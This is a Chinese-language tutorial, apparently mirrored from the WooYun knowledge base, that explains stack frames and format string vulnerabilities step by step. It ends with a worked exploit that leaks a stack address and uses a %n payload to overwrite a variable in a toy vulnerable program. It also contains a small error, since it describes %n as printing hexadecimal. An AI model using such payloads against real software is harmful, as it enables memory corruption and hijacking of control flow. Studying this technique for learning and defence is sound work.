漏洞挖掘基礎之格式化字串

wyzsk發表於2020-08-19
作者: 珈藍夜宇 · 2015/10/14 14:51

0x00 序


格式化字串漏洞是一個很古老的漏洞了,現在幾乎已經見不到這類漏洞的身影,但是作為漏洞分析的初學者來說,還是很有必要研究一下的,因為這是基礎啊!!!所以就有了今天這篇文章。我文章都寫好了,就差你來跟我搞二進位制了!%>.<%

0x01 基礎知識---棧


在進行真正的格式化字串攻擊之前,我們需要了解一些基礎知識,方便更好的理解該類漏洞。 個人感覺我們還需要一些堆疊相關的基礎知識才能更好的理解並運用格式化字串漏洞。接下來我們就一起看一下棧相關的知識: 說到棧我們不得不提的就是函式呼叫與引數傳遞,因為棧的作用就是動態的儲存函式之間的呼叫關係,從而保證在被呼叫函式返回時能夠回到母函式中繼續執行。棧其實是一種資料結構,棧中的資料是先進後出(First In Last Out),常見的操作有兩種:

壓棧(PUSH)和彈棧(POP),

用於標識棧屬性的也有兩個:棧頂(TOP)和棧底(BASE)。

PUSH:為棧增加一個元素。

POP:從棧中取出一個元素。

TOP:標識棧頂的位置,並且是動態變化的,每進行一次push操作,它會自增1,反之,每進行一次pop操作,它會自減1

BASE:標識棧底位置,它的位置是不會變動的。

函式呼叫時到底發生了什麼呢,我們將透過下面的程式碼做一下簡單的認識。 示例程式碼:

int func_B(arg_B1,arg_B2)
{
       int var_B;
       var_B = arg_B1+arg_B2;
       return var_B;
}
int func_A(arg_A1,arg_A2)

{
     int var_A;
     var_A = func_B(arg_A1,arg_A2);
     return var_A; 
}

int main (int argc, char **argv, char **envp)
{
    int var_main;
    var_main=func_A(1,2);
    return var_main;
}

程式的執行過程如下圖所示:

Alt text

透過上圖我們可以看到程式執行的流程:main--func_A--func_B--func_A--main,CPU在執行程式時是如何知道各個函式之間的呼叫關係呢,接下來我們將介紹一個新的名詞:棧幀。當函式被呼叫時,系統棧會為這個函式開闢一個新的棧幀,這個棧幀中的記憶體空間被它所屬的函式獨佔,當函式返回時,系統棧會彈出該函式所對應的棧幀。32位系統下提供了兩個特殊的暫存器(ESP和EBP)識棧幀。

  • ESP:棧指標暫存器,存放一個指標,該指標指向棧頂。
  • EBP:基址指標暫存器,存放一個指標,該指標指向棧底。

CPU利用EBP(不是ESP)暫存器來訪問棧內區域性變數、引數、函式返回地址,程式執行過程中,ESP暫存器的值隨時變化,如果以ESP的值為基準對棧內的區域性變數、引數、返回地址進行訪問顯然是不可能的,所以在進行函式呼叫時,先把用作基準的ESP的值儲存到EBP,這樣以後無論ESP如何變化,都能夠以EBP為基準訪問到區域性變數、引數以及返回地址。接下來將編譯上述程式碼並進行除錯,從而進一步瞭解函式呼叫以及引數傳遞的過程。

首先用gcc進行編譯:gcc -fno-stack-protector -o 1 1.c

用objdump進行反彙編檢視:objdump -d 1

    0804841d <main>:
     804841d:   55                      push   %ebp          ;函式開始(儲存舊棧幀的底部)
     804841e:   89 e5                   mov    %esp,%ebp     ;設定新棧幀底部(切換棧幀)
     8048420:   83 ec 10                sub    $0x10,%esp    ;設定新棧幀的頂部(抬高棧頂,為新棧幀開闢空間)
     8048423:   6a 02                   push   $0x2          ;引數入棧(從右往左)
     8048425:   6a 01                   push   $0x1
     8048427:   e8 d5 ff ff ff          call   8048401 <func_A> ;向棧中壓入當前指令所在的記憶體地址,儲存返回地址
                                                              ;跳轉到所呼叫函式的入口處執行
     804842c:   83 c4 08                add    $0x8,%esp
     804842f:   89 45 fc                mov    %eax,-0x4(%ebp)
     8048432:   8b 45 fc                mov    -0x4(%ebp),%eax
     8048435:   c9                      leave  
     8048436:   c3                      ret 



     08048401 <func_A>:
     8048401:   55                      push   %ebp
     8048402:   89 e5                   mov    %esp,%ebp
     8048404:   83 ec 10                sub    $0x10,%esp
     8048407:   ff 75 0c                pushl  0xc(%ebp)
     804840a:   ff 75 08                pushl  0x8(%ebp)
     804840d:   e8 d9 ff ff ff          call   80483eb <func_B>
     8048412:   83 c4 08                add    $0x8,%esp
     8048415:   89 45 fc                mov    %eax,-0x4(%ebp)
     8048418:   8b 45 fc                mov    -0x4(%ebp),%eax
     804841b:   c9                      leave  
     804841c:   c3                      ret 

func_A棧幀如下圖所示:

Alt text

我們將透過以下圖例對本次函式呼叫做一個總結:

Alt text

透過前面的函式呼叫細節以及棧中資料的分佈情況,我們可以發現區域性變數是在棧中挨個排放的,如果這些區域性變數中有陣列之類的緩衝區,並且程式存在陣列越界的問題,那麼越界的陣列元素就有可能破壞棧中相鄰變數的值,進而破壞EBP的值、返回地址等重要資料。

因為本次主要討論的是格式化字串漏洞,關於棧溢位的細節就不做討論了,感興趣的可以查閱相關資料。

有了以上的基礎知識以後,我們就可以進一步分析格式化字串漏洞了。

0x02 格式化字串漏洞原理


格式化串漏洞和普通的棧溢位有相似之處,但又有所不同,它們都是利用了程式設計師的疏忽大意來改變程式執行的正常流程。

接下來我們就來看一下格式化字串的漏洞原理。

首先,什麼是格式化字串呢,print()、fprint()等*print()系列的函式可以按照一定的格式將資料進行輸出,舉個最簡單的例子:

printf("My Name is:  %s" , "bingtangguan")

執行該函式後將返回字串:My Name is:bingtangguan

該printf函式的第一個引數就是格式化字串,它來告訴程式將資料以什麼格式輸出。上面的例子相信只要學過C語言、上過大學考過計算機二級的都耳熟能詳,如果這個都不知道,接下來我真不知道該怎麼寫了。但是我還是覺得有必要把printf()函式好好寫一下。

printf()函式的一般形式為:printf("format", 輸出表列),我們對format比較關心,看一下它的結構吧:%[標誌][輸出最小寬度][.精度][長度]型別,其中跟格式化字串漏洞有關係的主要有以下幾點:

1、輸出最小寬度:用十進位制整數來表示輸出的最少位數。若實際位數多於定義的寬度,則按實際位數輸出,若實際位數少於定義的寬度則補以空格或0。

2、型別:

  • d 表示輸出十進位制整數*

  • s 從記憶體中讀取字串*

  • x 輸出十六進位制數*

  • n 輸出十六進位制數

對於其餘內容,感興趣的自行百度吧。

關於printf()函式的使用,正常我們使用printf()函式應該是這樣的:

char str[100];
scanf("%s",str);
printf("%s",str);

這是正確的使用方式,但是也有的人會這麼用:

char str[100];
scanf("%s",str);
printf(str)

然後,悲劇就發生了,我們可以對比一下這兩段程式碼,很明顯,第二個程式中的printf()函式引數我們是可控的,我們在控制了format引數之後結合printf()函式的特性就可以進行相應的攻擊。

# 特性一: printf()函式的引數個數不固定

我們可以利用這一特性進行越界資料的訪問。我們先看一個正常的程式:

#include <stdio.h>
int main(void)
{
int a=1,b=2,c=3;
char buf[]="test";
printf("%s %d %d %d\n",buf,a,b,c);
return 0;
}

我們編譯之後執行:

[email protected]:~/Desktop/format$ gcc -fno-stack-protector -o format format.c
[email protected]:~/Desktop/format$ ./format 
test 1 2 3

接下來我們做一下測試,我們增加一個printf()的format引數,改為:

printf("%s %d %d %d %x\n",buf,a,b,c),編譯後執行:

[email protected]:~/Desktop/format$ gcc -z execstack -fno-stack-protector -o format1 format.c
format.c: In function ‘main’:
format.c:6:1: warning: format ‘%x’ expects a matching ‘unsigned int’ argument [-Wformat=]
 printf("%s %d %d %d %x\n",buf,a,b,c);
 ^
[email protected]:~/Desktop/format$ ./format1
test 1 2 3 c30000

雖然gcc在編譯的時候提示了一個warning,但還是編譯透過了,我們執行後發現多輸出了一個C30000,這是個什麼資料呢,我們用gdb除錯一下看看吧,我們在printf()函式處下個斷點,然後執行程式,程式停在了printf()函式入口處0xb7e652f0 __printf+0 push %ebx。大家可能發現了我的gdb 有點不大一樣,是因為我用了一個叫做gdb-dashboard的視覺化工具,個人感覺還是比較方便的,可以實時的檢視暫存器、記憶體、反彙編等,感興趣的同學可以去github下載安裝一下試試:https://github.com/cyrus-and/gdb-dashboard

[email protected]:~/Desktop/format$ gdb ./format1
GNU gdb (Ubuntu 7.8-1ubuntu4) 7.8.0.20141001-cvs
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./format1...(no debugging symbols found)...done.
>>> start
Temporary breakpoint 1 at 0x8048429
Starting program: /home/bingtangguan/Desktop/format/format1 

─── Output/messages ────────────────────────────────────────────────────────────

Temporary breakpoint 1, 0x08048429 in main ()
─── Assembly ───────────────────────────────────────────────────────────────────
0x08048425 main+10 push   %ebp
0x08048426 main+11 mov    %esp,%ebp
0x08048428 main+13 push   %ecx
0x08048429 main+14 sub    $0x24,%esp
0x0804842c main+17 movl   $0x1,-0xc(%ebp)
0x08048433 main+24 movl   $0x2,-0x10(%ebp)
0x0804843a main+31 movl   $0x3,-0x14(%ebp)
─── Expressions ────────────────────────────────────────────────────────────────
─── History ────────────────────────────────────────────────────────────────────
─── Memory ─────────────────────────────────────────────────────────────────────
─── Registers ──────────────────────────────────────────────────────────────────
   eax 0x00000001      ecx 0xbffff070      edx 0xbffff094      ebx 0xb7fc1000  
   esp 0xbffff054      ebp 0xbffff058      esi 0x00000000      edi 0x00000000  
   eip 0x08048429   eflags [ PF SF IF ]     cs 0x00000073       ss 0x0000007b  
   ds 0x0000007b       es 0x0000007b       fs 0x00000000       gs 0x00000033  
─── Source ─────────────────────────────────────────────────────────────────────
─── Stack ──────────────────────────────────────────────────────────────────────
[0] from 0x08048429 in main+14
(no arguments)
─── Threads ────────────────────────────────────────────────────────────────────
[1] id 3590 name format1 from 0x08048429 in main+14
────────────────────────────────────────────────────────────────────────────────
>>> break printf
Breakpoint 2 at 0xb7e652f0: file printf.c, line 28.
>>> r
Starting program: /home/bingtangguan/Desktop/format/format1 

─── Output/messages ────────────────────────────────────────────────────────────

Breakpoint 2, __printf (format=0x8048510 "%s %d %d %d %x\n") at printf.c:28
28  printf.c: No such file or directory.
─── Assembly ───────────────────────────────────────────────────────────────────
0xb7e652f0 __printf+0 push   %ebx
0xb7e652f1 __printf+1 sub    $0x18,%esp
0xb7e652f4 __printf+4 call   0xb7f3d90b <__x86.get_pc_thunk.bx>
0xb7e652f9 __printf+9 add    $0x15bd07,%ebx
─── Expressions ────────────────────────────────────────────────────────────────
─── History ────────────────────────────────────────────────────────────────────
─── Memory ─────────────────────────────────────────────────────────────────────
─── Registers ──────────────────────────────────────────────────────────────────
   eax 0xbffff03f      ecx 0xbffff070      edx 0xbffff094      ebx 0xb7fc1000  
   esp 0xbffff00c      ebp 0xbffff058      esi 0x00000000      edi 0x00000000  
   eip 0xb7e652f0   eflags [ PF ZF IF ]     cs 0x00000073       ss 0x0000007b  
   ds 0x0000007b       es 0x0000007b       fs 0x00000000       gs 0x00000033  
─── Source ─────────────────────────────────────────────────────────────────────
Cannot access "/build/buildd/glibc-2.19/stdio-common/printf.c"
─── Stack ──────────────────────────────────────────────────────────────────────
[0] from 0xb7e652f0 in __printf+0 at printf.c:28
arg format = 0x8048510 "%s %d %d %d %x\n"
[1] from 0x08048466 in main+75
(no arguments)
─── Threads ────────────────────────────────────────────────────────────────────
[1] id 3594 name format1 from 0xb7e652f0 in __printf+0 at printf.c:28

我們檢視一下此時的棧佈局:

>>> x/10x $sp
0xbffff00c: 0x08048466  0x08048510  0xbffff03f  0x00000001
0xbffff01c: 0x00000002  0x00000003  0x00c30000  0x00000001
0xbffff02c: 0x080482bd  0xbffff2c4

我們已經看到了0x00c30000,根據第一節我們對棧幀佈局的認識,我們可以想象一下呼叫printf()函式後的棧的佈局是什麼樣的

 >>> x/20x $sp
0xbffff00c: 0x08048466  0x08048510  0xbffff03f  0x00000001
0xbffff01c: 0x00000002  0x00000003  0x00c30000  0x00000001
0xbffff02c: 0x080482bd  0xbffff2c4  0x0000002f  0x0804a000
0xbffff03c: 0x740484d2  0x00747365  0x00000003  0x00000002
0xbffff04c: 0x00000001  0xb7fc13c4  0xbffff070  0x00000000

Alt text

看了上面的圖,相信大家已經很明白了吧,只要我們能夠控制format的,我們就可以一直讀取記憶體資料。

printf("%s %d %d %d %x %x %x %x %x %x %x %x\n",buf,a,b,c)

[email protected]:~/Desktop/format$ ./format2
test 1 2 3 c30000 1 80482bd bf8bf301 2f 804a000 740484d2 747365

上一個例子只是告訴我們可以利用%x一直讀取棧內的記憶體資料,可是這並不能滿足我們的需求不是,我們要的是任意地址讀取,當然,這也是可以的,我們透過下面的例子進行分析:

#include <stdio.h>
int main(int argc, char *argv[])
{
    char str[200];
    fgets(str,200,stdin);
    printf(str);
    return 0;
}

有了上一個小例子的經驗,我們可以直接嘗試去讀取str[]的內容呢

gdb除錯,單步執行完call 0x8048340 <[email protected]>後輸入:

AAAA%08x%08x%08x%08x%08x%08x(學過C語言的肯定知道%08x的意義,不明白的也不要緊,可以先看一下後面的特性三,我這裡就不再多說了)

然後我們執行到printf()函式,觀察此時的棧區,特別注意一下0x41414141(這是我們str的開始):

>>> x/10x $sp
0xbfffef70: 0xbfffef88  0x000000c8  0xb7fc1c20  0xb7e25438
0xbfffef80: 0x08048210  0x00000001  0x41414141  0x78383025
0xbfffef90: 0x78383025  0x78383025

繼續執行,看我們能獲得什麼,我們成功的讀到了AAAA:

AAAA000000c8b7fc1c20b7e25438080482100000000141414141

這時候我們需要藉助printf()函式的另一個重要的格式化字元引數%s,我們可以用%s來獲取指標指向的記憶體資料。

那麼我們就可以這麼構造嘗試去獲取0x41414141地址上的資料:

\x41\x41\x41\x41%08x%08x%08x%08x%08x%s

到現在,我們可以利用格式化字串漏洞讀取記憶體的內容,看起來好像也沒什麼用啊,就是讀個資料而已,我們能不能利用這個漏洞修改記憶體資訊(比如說修改返回地址)從而劫持程式執行流程呢,這需要看printf()函式的第二個特性。

# 特性二:利用%n格式符寫入資料

%n是一個不經常用到的格式符,它的作用是把前面已經列印的長度寫入某個記憶體地址,看下面的程式碼:

#include <stdio.h>
main()
{
  int num=66666666;

  printf("Before: num = %d\n", num);
  printf("%d%n\n", num, &num);
  printf("After: num = %d\n", num);

}

可以發現我們用%n成功修改了num的值:

[email protected]:~/Desktop/format$ ./format2
Before: num = 66666666
66666666
After: num = 8

現在我們已經知道可以用構造的格式化字串去訪問棧內的資料,並且可以利用%n向記憶體中寫入值,那我們是不是可以修改某一個函式的返回地址從而控制程式執行流程呢,到了這一步細心的同學可能已經發現了,%n的作用只是將前面列印的字串長度寫入到記憶體中,而我們想要寫入的是一個地址,而且這個地址是很大的。這時候我們就需要用到printf()函式的第三個特性來配合完成地址的寫入。

# 特性三:自定義列印字串寬度

我們在上面的基礎部分已經有提到關於列印字串寬度的問題,在格式符中間加上一個十進位制整數來表示輸出的最少位數,若實際位數多於定義的寬度,則按實際位數輸出,若實際位數少於定義的寬度則補以空格或0。我們把上一段程式碼做一下修改並看一下效果:

#include <stdio.h>
main()
{
  int num=66666666;

  printf("Before: num = %d\n", num);
  printf("%.100d%n\n", num, &num);
  printf("After: num = %d\n", num);
}

可以看到我們的num值被改為了100

[email protected]:~/Desktop/format$ ./format2
Before: num = 66666666
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
66666666
After: num = 100

看到這兒聰明的你肯定明白如何去覆蓋一個地址了吧,比如說我們要把0x8048000這個地址寫入記憶體,我們要做的就是把該地址對應的10進位制134512640作為格式符控制寬度即可:

printf("%.134512640d%n\n", num, &num);
printf("After: num = %x\n", num);

可以看到,我們的num被成功修改為8048000

[email protected]:~/Desktop/format$ ./format2
Before: num = 66666666
中間的0省略...........
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000066666666
After: num = 8048000
[email protected]:~/Desktop/format$ 

明白了這個原理之後,我們接下來嘗試任意地址寫作為本章的結束。知識庫之前有一篇格式化字串漏洞文章,在文章最後有一個例項,但是在我按照作者的方法進行測試的時候,發現並不能成功利用,於是我利用任意地址寫的方法完成該實驗。

程式碼參考連結:/binary/?id=7714

#include <stdio.h>
int main(void)
{ 
int flag = 0;
int *p = &flag; 
char a[100];
scanf("%s",a);
printf(a);
if(flag == 2000)
    {
            printf("good!!\n");
    }

    return 0;
}

首先分析一下彙編程式碼,下面這一段程式碼就是將p指向flag,並且將區域性變數flag、p壓棧,我們只需要利用格式化字串漏洞覆蓋掉*p指向的記憶體地址的內容為2000就可以了。

 80484ac:   c7 45 f0 00 00 00 00    movl   $0x0,-0x10(%ebp)
 80484b3:   8d 45 f0                lea    -0x10(%ebp),%eax
 80484b6:   89 45 f4                mov    %eax,-0xc(%ebp

下面我們要做到是找到*p指向的記憶體地址,也就是ebp-0x10的地址。 gdb載入程式,重點關注以上三條指令執行結果:

>>> x/10x $ebp-0x10
0xbffff048: 0x00000000  0xb7e4977d  0xb7fc13c4  0xbffff070
0xbffff058: 0x00000000  0xb7e31a83  0x08048510  0x00000000
0xbffff068: 0x00000000  0xb7e31a83

現在我們知道了,我們需要將0xbffff048這個地址的內容修改為2000。這裡有一點需要特別注意: gdb除錯環境裡面的棧地址跟直接執行程式是不一樣的,也就是說我們在直接執行程式時修改這個地址是沒用的,所以我們需要結合格式化字串漏洞讀記憶體的功能,先洩露一個地址出來,然後我們根據洩露出來的地址計算出ebp-0x10的地址。

我們繼續在gdb除錯,執行get()函式後隨便輸入AAAAAAA,執行到printf()的時候觀察棧區:

Alt text

我們如果只輸入%x的話就可以讀出esp+4地址上的資料,也就是0xbfffefe4,而我們需要修改的地址為0xbffff048,這兩個地址的偏移為0x64。

下面我們就可以直接執行程式,並輸入%x,然後獲取ESP+4地址內的值:

[email protected]:~/Desktop/format$ ./test
%x
bffff024

那我們需要修改的地址就是:0xbffff024+0x64=0xbffff088

最後就是要在地址0xbffff088處寫入2000: \x88\xf0\xff\xbf%10x%10x%10x%1966x%n

[email protected]:~/Desktop/format$ python -c "print '\x88\xf0\xff\xbf%10x%10x%10x%.1966x%n'" > 11
[email protected]:~/Desktop/format$ cat 11 | ./test 
����  bffff024         0         00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003good!!
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章